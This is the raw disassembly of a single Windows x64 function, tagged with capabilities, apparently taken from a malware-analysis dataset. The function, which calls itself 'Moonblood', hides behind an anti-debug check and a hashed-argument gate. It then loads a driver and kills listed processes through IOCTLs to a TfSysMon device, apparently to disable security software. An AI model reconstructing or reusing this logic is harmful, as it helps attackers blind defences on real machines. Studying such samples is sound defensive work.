Function at 0x1400073a0
Capabilities:
Check for peb beingdebugged flag
Enumerate processes
Start service

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x140041080]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x14000750f
cmp ecx, 2
jne 0x14000750f
mov rdx, qword [rdx + 8]
xorps xmm0, xmm0
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rsp + 0x40], xmm0
movdqu xmmword [rsp + 0x50], xmm1
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140007400
lea rcx, [rsp + 0x40]
call fcn.140001ff0
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
mov r10, qword [rsp + 0x58]
lea rdx, [rsp + 0x40]
mov r9, qword [rsp + 0x50]
xor r14d, r14d
cmp r10, 0xf
mov ebx, r14d
cmova rcx, r8
cmova rdx, r8
add r9, rcx
cmp rdx, r9
je 0x14000745f
nop word [rax + rax]
movsx eax, byte [rdx]
inc rdx
add ebx, eax
add ebx, ebx
cmp rdx, r9
jne 0x140007450
cmp r10, 0xf
jbe 0x140007496
lea rdx, [r10 + 1]
mov rax, r8
cmp rdx, 0x1000
jb 0x14000748e
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007856
mov rcx, r8
call fcn.14000bd50
cmp ebx, 0xbfb7c6
jne 0x14000750f
mov qword [rsp + 0x60], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400074f4
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x7c]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x78]
mov edx, 0x14
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rsp + 0x60]
test eax, eax
jne 0x14000752f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.____This_program_requires_administrator_privileges
lea rcx, [0x140042780]
call fcn.1400018b0
mov rcx, rax
call fcn.140002fe0
mov eax, 1
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.14000c0b0
add rsp, 0x2d0
pop r14
pop rbx
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x78], r14d
je 0x1400074f4
xorps xmm0, xmm0
lea rcx, [rsp + 0x60]
movdqu xmmword [rsp + 0x60], xmm0
call fcn.140006a80
test al, al
jne 0x14000757a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____Failed_to_initialize_driver_error:
lea rcx, [0x140042780]
mov ebx, eax
call fcn.1400018b0
mov rcx, rax
mov edx, ebx
call fcn.140003ea0
jmp 0x140007507
lea rdx, str.___Driver_initialized_in_the_system
lea rcx, [0x140042650]
call fcn.1400018b0
mov rcx, rax
call fcn.140002fe0
mov rbx, qword [rsp + 0x68]
xor r8d, r8d
mov rcx, rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x1400075dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
je 0x1400075dc
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____Failed_to_start_driver_error:
jmp 0x140007560
lea rdx, str.___Driver_is_running
lea rcx, [0x140042650]
call fcn.1400018b0
mov rcx, rax
call fcn.140002fe0
lea rdx, [0x140007160]
mov ecx, 2
call fcn.14001475c
lea rdx, str.___Moonblood_Started
lea rcx, [0x140042650]
call fcn.1400018b0
mov rcx, rax
call fcn.140002fe0
movzx eax, byte [0x140041018]
nop
test al, al
je 0x14000784f
mov qword [rsp + 0x2f0], rsi
mov qword [rsp + 0x300], rdi
nop dword [rax]
nop word [rax + rax]
mov rsi, qword [0x140042440]
mov rdi, qword [0x140042438]
cmp rdi, rsi
je 0x14000782f
nop word [rax + rax]
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000772b
xor edx, edx
mov dword [rbp - 0x80], 0x238
mov r8d, 0x234
lea rcx, [rbp - 0x7c]
call fcn.14002d030
lea rdx, [rbp - 0x80]
mov rcx, rbx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140007722
lea rcx, [rbp - 0x54]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], r14w
jne 0x1400076c0
cmp qword [rdi + 0x18], 7
mov r8, rdi
jbe 0x1400076d7
mov r8, qword [rdi]
mov rdx, qword [rdi + 0x10]
cmp rdx, rax
jne 0x140007712
lea rax, [rbp - 0x54]
test rdx, rdx
je 0x140007704
lea rcx, [rbp - 0x54]
sub r8, rcx
movzx ecx, word [rax]
cmp word [r8 + rax], cx
jne 0x140007712
add rax, 2
sub rdx, 1
jne 0x1400076f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp - 0x78]
jmp 0x14000772e
lea rdx, [rbp - 0x80]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400076b1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r14d
test eax, eax
je 0x140007822
xor ecx, ecx
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x60], ecx
xorps xmm0, xmm0
mov rcx, qword [str..TfSysMon]
xor r9d, r9d
mov dword [rsp + 0x28], r14d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x64], eax
movups xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400077b1
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x60]
mov dword [rsp + 0x28], r14d
mov r9d, 0x18
mov edx, 0xb4a00404
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1400077c7
cmp qword [rdi + 0x18], 7
mov rbx, rdi
jbe 0x1400077be
mov rbx, qword [rdi]
lea rdx, str.____Failed_to_kill_process:
jmp 0x1400077e4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rdi + 0x18], 7
mov rbx, rdi
jbe 0x1400077dd
mov rbx, qword [rdi]
lea rdx, str.___Killed_process:
lea rcx, [0x1400428a0]
call fcn.140001b60
mov rdx, rbx
mov rcx, rax
call fcn.140001b60
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140007200
movzx edx, ax
mov rcx, rbx
call fcn.140006fb0
mov rcx, rbx
call fcn.140006920
add rdi, 0x20
cmp rdi, rsi
jne 0x140007670
movzx eax, byte [0x140041018]
nop
test al, al
jne 0x140007650
mov rdi, qword [rsp + 0x300]
mov rsi, qword [rsp + 0x2f0]
xor eax, eax
jmp 0x140007514
call fcn.140011b84
int3